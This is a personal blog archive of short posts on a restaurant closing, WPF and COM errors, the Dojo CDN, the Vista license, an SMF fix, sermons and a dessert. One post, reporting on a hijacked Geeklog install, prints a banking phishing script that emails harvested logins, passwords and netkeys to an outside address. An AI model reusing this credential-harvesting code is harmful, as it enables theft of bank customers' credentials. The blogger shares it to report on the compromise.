January 16, 2009

Andale in Palo Alto is closing...

I had a scrumptious Baja Fish burrito at Andale in Palo Alto... and it may be the last one I ever have. As my friend approached the counter and presented his stamp card, the lady at the counter muttered, "we'll be closed on Sunday".

"Oh, you mean, you'll be closed on Sundays from now on?"

"No, we will be closed on Sunday."

Sign of the times...

"Image format is unrecognized" when setting WPF Window Icon

Vista allows embedding 256x256 png images inside of .ico files. This can be generated, for example, by an application such as IcoFX. Unfortunately, at least as of .NET 3.0, the WPF Window Icon cannot accept this. The problem does not lie in the IconBitmapDecoder, but appears to lie in the Window code. To set the Icon property in code, we can do the following:

IconBitmapDecoder ibd = new IconBitmapDecoder(s, BitmapCreateOptions.None, BitmapCacheOption.Default);
this.Icon = ibd.Frames[0];

Where "s" is your .ico stream. If you have a Vista-style .ico file, setting Icon will trigger the "image format is unrecognized" error. The only way to resolve this is to generate the .ico without the Vista images*.


Now, take a cleansing breath, smile, and get back to work.

*MSDN discussion.

August 7, 2008

John Piper's Candidating Sermon at Bethlehem Baptist

I am increasingly becoming a fan of John Piper's ministry. In general, I tend to shy away from Christian "pop stars" though I've found Piper's candid yet personal presentation of scripture to be first-rate. One of the most interesting aspects of his organization is that literally hundreds of sermons (audio/video/text) are available gratuit from the Desiring God website dating back to 1980. It makes for a good study of both the man and the ministry. Amazingly, they even have his candidating sermon. Impressive.

John Piper's Candidating Sermon at Bethlehem Baptist Philippians 1:19-26

Continue reading "John Piper's Candidating Sermon at Bethlehem Baptist" »

November 28, 2007

DisconnectedContext was detected

Context 0x1fa878 is disconnected. No proxy will be used to service the request on the COM component. This may cause corruption or data loss. To avoid this problem, please ensure that all contexts/apartments stay alive until the application is completely done with the RuntimeCallableWrappers that represent COM
Wow, look at that jargon. Anglais, si'l vous plait. My humble attempt, can you do better?
Dude, remember when I told you that running multiple chunks of code in parallel, i.e., multi-threading, was evil? Remember how you didn't listen to me? Well, I noticed that you are manipulating some stuff from chunk one in chunk two. What are you going to do if chunk one suddenly ends and the stuff disappears?

November 16, 2007

Dojo 1.0.0 available on AOL CDN

Background. Dojo is a toolkit of javascript functions which speeds up web development. It includes both aesthetic and technically-helpful elements. Prior to AOL hosting the toolkit, it would be necessary to physically transfer the compressed files to the server and uncompress. While this was a cinch on my lunarpages-hosted linux account running CPanel, it turned out to be quite a pain with a windows-based account running Plesk.

To use:

<script type="text/javascript" src="http://o.aolcdn.com/dojo/1.0.0/dojo/dojo.xd.js"></script>
Very handy. Thank you AOL.

Source: http://dojotoolkit.org/2007/11/06/dojo-1-0-0-available-aol-cdn

November 14, 2007

The fine print on Vista

I recently had a chance to skim through the Vista Enterprise software license. Microsoft is currently offering Vista as a 30-day VHD (Virtual Hard Drive; requires registration) ostensibly for IT-departments paralyzed by the potential of all mission critical software to sieze up on update. It requires Microsoft Virtual Server R2, Microsoft's (free, sorry VMWare) virtualization solution. If you are involved in potentially licensing software as a licensor or licensee, it's absolutely worth a gander. I'm sure they spent a fortune with attorneys on drafting it.

Questions and observations:

  1. How do we handle licensing Vista virtualized across multiple machines?
    • "A hardware partition or blade is considered a separate device." --
    • "You may use the software on up to two processors on that device at one time."
    • "You may use the software installed on the licensed device within a virtual (or otherwise emulated) hardware system. If you do so, you may not play or access content or use applications protected by any Microsoft digital, information or enterprise rights management technology or other Microsoft rights management services or use BitLocker."
  2. What is "pooling"? Timesharing?
    • "Except as provided in the Device Connections and Other Access Technologies sections below, only one user may use the software at a time."
    • "Hardware or software you use to · pool connections, or · reduce the number of devices or users that directly access or use the software (sometimes referred to as “multiplexing” or “pooling”), does not reduce the number of licenses you need."
  3. Did I buy Vista? Nope.
    • "The software is licensed, not sold. This agreement only gives you some rights to use the software. Microsoft reserves all other rights."
    • "You may not... rent, lease or lend the software..."
    • "You may not... use the software for commercial software hosting services."
  4. Will I get support? Don't count on it.
    • "Because the software is “as is,” we may not provide support services for it."
    • "The software is licensed “as-is.” You bear the risk of using it. Microsoft gives no express warranties, guarantees or conditions."
    • "To the extent permitted under your local laws, Microsoft excludes the implied warranties of merchantability, fitness for a particular purpose and non-infringement."
  5. What if something breaks, or I lose critical data? Tough luck.
    • "You can recover from Microsoft and its suppliers only direct damages up to U.S. $5.00. You cannot recover any other damages, including consequential, lost profits, special, indirect or incidental damages."
    • "It also applies even if Microsoft knew or should have known about the possibility of the damages."

Continue reading "The fine print on Vista" »

July 13, 2007

Resolving the missing Ad Management link (SMF 1.1.3)

Symptom: Installing Ad Management for SMF 1.1.3 from smfads.com indicates success. No Ad Management link is present under Configuration tab. However, inspection (view source) reveals an incomplete link, in my case to


with no parameters. The incomplete link can be visually checked by noticing the extra space between Configuration and the next tab.

Resolution: Per jerm, the issue has to do with english versus english-utf8. The current version "ad_mod_1-1-x_v2-3" creates a file called "Ads.english.php" in the languages folder of the default directory. A quick glance at the 1.1.3 install (and probably a few subversions back) shows that a copy should probably be made for "Ads.english-utf8.php". Create this copy by hand for quick resolution OR alternatively, installing using ad_mod_1-1-x_v2-3x (simple hack to include utf8 copy). The only real change to the package is the addition of Ads.english-utf8.php (copy), and adding the following line to package-info.xml to read:

require-file name="Ads.english-utf8.php" destination="$languagedir"

Let me know if there are any issues or if you found the hack helpful.

July 10, 2007

"Bana" banamex scam

I recently went in and triaged a Geeklog install I haven't touched in a few months. Lo and behold, it had been hijacked by scammer spammers. Here is login.php:

$message .= "Login: ".$_POST['ncliente'];
$message .= "Password: ".$_POST['pass'];
$message .= "Netkey: ".$_POST['netkey'];
$message .= $ip = getenv("REMOTE_ADDR");

//sending email info here

$subj = "Bancanet - Banamex";
$from = "From: Info";
mail("devilzx0@gmail.com", $subj, $message, $from);
header("Location: verificacion.htm");

My ISP was complaining of mail sent. This was probably it. There are a lot of references in the index.htm and verificacion.html to banamex.com. Check out this particular segment of verficacion.htm:


How and where is the money made here? Harvesting accidental logins... There is one redirection to "istemp.com":


Anyone know anything about this?

Update: Here's the phishing alert. It's from 2005.

Be not anxious!

Bonhoeffer writes:

Be not anxious! Earthly possessions dazzle our eyes and delude us into thinking that they can provide security and freedom from anxiety. Yet all the time they are the very source of all anxiety. If our hearts are set on them, our reward is an anxiety whose burden is intolerable. Anxiety creates its own treasures and they in turn beget further care. When we seek for security in possessions we are trying to drive out care with care, and the net result is the precise opposite of our anticipations. The fetters which bind us to our possessions prove to be cares themselves. [emphasis mine]

June 20, 2007

Chimichanga de Manzana

Spotted on the Guadalajara (Redding, CA) menu. A flour tortilla filled with apples and deep fried. Topped with sugar, cinnamon, honey and whipped cream. Served with two scoops of vanilla or chocolate ice cream. $5.25. Mmmmmm.